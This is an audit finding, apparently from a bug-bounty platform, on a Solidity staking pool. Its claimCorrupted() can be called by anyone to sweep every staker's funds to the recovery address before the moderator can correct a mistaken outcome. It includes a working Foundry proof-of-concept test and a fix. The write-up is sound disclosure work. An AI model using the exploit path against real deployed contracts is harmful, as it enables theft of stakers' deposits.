FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Permissionless claimCorrupted finalizes a design-anticipated mistaken bad-faith CORRUPTED outcome before the moderator's correction, sweeping every staker's funds to recovery

Author Revealed upon completion

Description

  • Normal behavior: a pool's outcome is a moderator judgement that the protocol treats as provisional until the first claim. docs/DESIGN.md §4 provides a pre-claim outcome-correction window precisely so the moderator can "fix a typo'd outcome/attacker before any participant locks in the wrong distribution". A pool outcome can legitimately differ from the registry: per §8, "if the agreement is CORRUPTED but the vulnerability fell outside this pool's scope, the moderator flags SURVIVED and stakers recover stake + bonus." The design also treats a scope-blind bad-faith CORRUPTED sweep as over-punishment that is acceptable only as a delayed last-resort backstop, not an immediate action (§6).

  • Specific issue: claimCorrupted() is permissionless (no msg.sender check) and latches claimsStarted when it executes. After a mistaken bad-faith CORRUPTED flag — the exact class of mistake the documented §4 correction window exists to fix — any address can call claimCorrupted before the moderator's correction lands, sweeping the entire pool (stake + bonus) to recoveryAddress and latching finality. The moderator's documented §4 correction to SURVIVED (the §8 out-of-scope reclassification) then reverts with OutcomeAlreadySet. Stakers whose in-scope contracts actually survived lose their entire principal + bonus. Two documented design properties are broken at once: the §4 pre-claim correction window is foreclosed by an unprivileged caller, and the §6 "delayed backstop only" rule is violated because the scope-blind sweep executes immediately, with no correction delay, against a present and willing moderator.

Root cause (src/ConfidencePool.sol):

function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
// @> PERMISSIONLESS: no msg.sender check — anyone can call this the moment CORRUPTED is flagged
uint256 toSweep = stakeToken.balanceOf(address(this)); // == whole pool
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
// @> latches finality with NO correction delay -> forecloses the §4 window immediately
if (!claimsStarted) claimsStarted = true;
// @> entire pool leaves to recoveryAddress (sponsor-controlled), irreversibly
stakeToken.safeTransfer(recoveryAddress, toSweep);
emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
}
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
// @> after claimCorrupted, claimsStarted == true, so the SURVIVED correction reverts here
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
// ...
}

Why this is distinct

This is not an attacker-recipient correction issue and not a trusted-role failure. The harmful caller does not need to be the named attacker or any participant — any address executes claimCorrupted. The affected party is the entire staker set, because the whole pool is swept to recoveryAddress. The defeated protections are the moderator's documented outcome correction (bad-faith CORRUPTEDSURVIVED, §4/§8) and the §6 "delayed backstop" rule; the value is captured by the sponsor-controlled recoveryAddress. Restricting the caller is not a fix — the recipient party is economically incentivized to keep the swept pool; the missing control is a correction delay before finalization.

Risk

Likelihood: Medium

  • The precondition is a design-anticipated state, not an unmodeled edge case. The protocol ships an entire pre-claim correction window (§4) because it explicitly expects outcomes to need correcting before the first claim, and treats the initial flag as provisional. A mistaken bad-faith CORRUPTED that the moderator intends to correct is therefore inside the protocol's normal operating envelope — the design itself budgets for it.

  • Once that modeled state exists, exploitation is immediate, permissionless, and capital-free. claimCorrupted() has no role gate, no timing skill, and no capital requirement; a single call finalizes the sweep before the moderator's correction transaction can be mined.

  • The recipient recoveryAddress is sponsor-controlled, so the sweep has a standing beneficiary with a direct economic incentive to foreclose any correction that would return funds to stakers. The exploiting party is not a hypothetical random griefer but an incentivized actor watching for exactly this state — pushing the conditional probability of exploitation, given the modeled precondition, close to 1.

  • This is why it is not Low: the failure is not "a trusted moderator errs." The moderator is trusted for the final judgement, and the design deliberately separates the provisional first flag from the final outcome via §4. The defect is that the protocol's own correction mechanism is bypassable by an unprivileged, incentivized actor — a design-anticipated condition with trivial execution by anyone.

Impact: High

  • The entire pool — every staker's principal plus the bonus — is irreversibly swept to recoveryAddress. When the correct outcome was SURVIVED (out-of-scope breach, §8), stakers whose contracts survived lose 100% of their deposit.

  • The moderator's documented §4 correction cannot be applied — it reverts with OutcomeAlreadySet. The value is captured by the sponsor-controlled recoveryAddress, so an unprivileged call directly enriches the sponsor at the entire staker set's expense.

Proof of Concept

Add as test/poc/CorruptedCorrectionForeclosed.t.sol; run forge test --match-path test/poc/CorruptedCorrectionForeclosed.t.sol -vvv. Forward-only, reachable registry transitions; the harmful caller (griefer) holds no role.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract MockERC20 {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 a) external { balanceOf[to] += a; }
function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
function transfer(address to, uint256 a) external returns (bool) { return _t(msg.sender, to, a); }
function transferFrom(address f, address to, uint256 a) external returns (bool) {
uint256 al = allowance[f][msg.sender];
if (al != type(uint256).max) { require(al >= a, "allow"); allowance[f][msg.sender] = al - a; }
return _t(f, to, a);
}
function _t(address f, address to, uint256 a) internal returns (bool) {
require(balanceOf[f] >= a, "bal"); balanceOf[f] -= a; balanceOf[to] += a; return true;
}
}
contract MockRegistry {
IAttackRegistry.ContractState public st = IAttackRegistry.ContractState.ATTACK_REQUESTED;
function setState(IAttackRegistry.ContractState s) external { st = s; }
function isAgreementValid(address) external pure returns (bool) { return true; }
function getAttackRegistry() external view returns (address) { return address(this); }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return st; }
}
contract MockAgreement {
address public owner;
constructor(address o) { owner = o; }
function isContractInScope(address) external pure returns (bool) { return true; }
}
contract CorruptedCorrectionForeclosed is Test {
ConfidencePool pool; MockERC20 token; MockRegistry reg; MockAgreement agree;
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address recovery = makeAddr("recovery");
address staker = makeAddr("staker");
address griefer = makeAddr("griefer"); // any address; needs no privilege
uint256 constant STAKE = 100e18;
uint256 constant BONUS = 100e18;
IAttackRegistry.ContractState constant CORRUPTED = IAttackRegistry.ContractState.CORRUPTED;
function setUp() public {
token = new MockERC20(); reg = new MockRegistry(); agree = new MockAgreement(sponsor);
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
address[] memory scope = new address[](1); scope[0] = address(0xC0FFEE);
pool.initialize(address(agree), address(token), address(reg), moderator,
block.timestamp + 100 days, 1e15, recovery, sponsor, scope);
token.mint(staker, STAKE); token.mint(sponsor, BONUS);
}
function test_permissionless_claimCorrupted_forecloses_survived_correction() public {
vm.startPrank(staker); token.approve(address(pool), STAKE); pool.stake(STAKE); vm.stopPrank();
vm.startPrank(sponsor); token.approve(address(pool), BONUS); pool.contributeBonus(BONUS); vm.stopPrank();
reg.setState(CORRUPTED); // breach; moderator first reads it as in-scope
// Moderator's initial (provisional) judgement: bad-faith CORRUPTED (in-scope, no named whitehat).
vm.prank(moderator); pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// ANY address forecloses the correction via the permissionless claimCorrupted.
vm.prank(griefer); pool.claimCorrupted();
assertEq(token.balanceOf(recovery), STAKE + BONUS, "whole pool swept to recovery");
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
// Moderator reclassifies to SURVIVED (out-of-scope after all, DESIGN §8) -> reverts.
vm.prank(moderator);
vm.expectRevert();
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// The staker's in-scope contracts survived, yet the staker cannot recover their principal.
vm.prank(staker);
vm.expectRevert();
pool.claimSurvived();
console2.log("staker deposited :", STAKE);
console2.log("recovery captured (P+B) :", token.balanceOf(recovery));
console2.log("staker recoverable :", token.balanceOf(staker));
assertEq(token.balanceOf(staker), 0, "staker principal trapped at recovery, correction foreclosed");
}
}

Output:

[PASS] test_permissionless_claimCorrupted_forecloses_survived_correction()
Logs:
staker deposited : 100000000000000000000
recovery captured (P+B) : 200000000000000000000
staker recoverable : 0

Recommended Mitigation

Do not let a permissionless call finalize a bad-faith CORRUPTED outcome inside the §4 correction window. Gate claimCorrupted (and the value movement) behind the same correction delay the moderator needs, so a correction can still be applied before funds leave — this also restores the §6 "delayed backstop" property:

function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
+ // A bad-faith CORRUPTED sweep is scope-blind (DESIGN §6); do not let it finalize inside the
+ // moderator's documented outcome-correction window (DESIGN §4).
+ if (!goodFaith && block.timestamp < corruptedFlaggedAt + OUTCOME_CORRECTION_DELAY) {
+ revert CorrectionWindowOpen();
+ }
uint256 toSweep = stakeToken.balanceOf(address(this));
// ...
}

Alternatively, make flagOutcome for bad-faith CORRUPTED two-phase: flag first, and allow the sweep only after a correction delay has elapsed — so the moderator can re-flag out of a mistaken bad-faith CORRUPTED while no value has yet moved. (Restricting the caller to recoveryAddress/sponsor is not recommended: that party has the economic incentive to keep the swept pool.)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!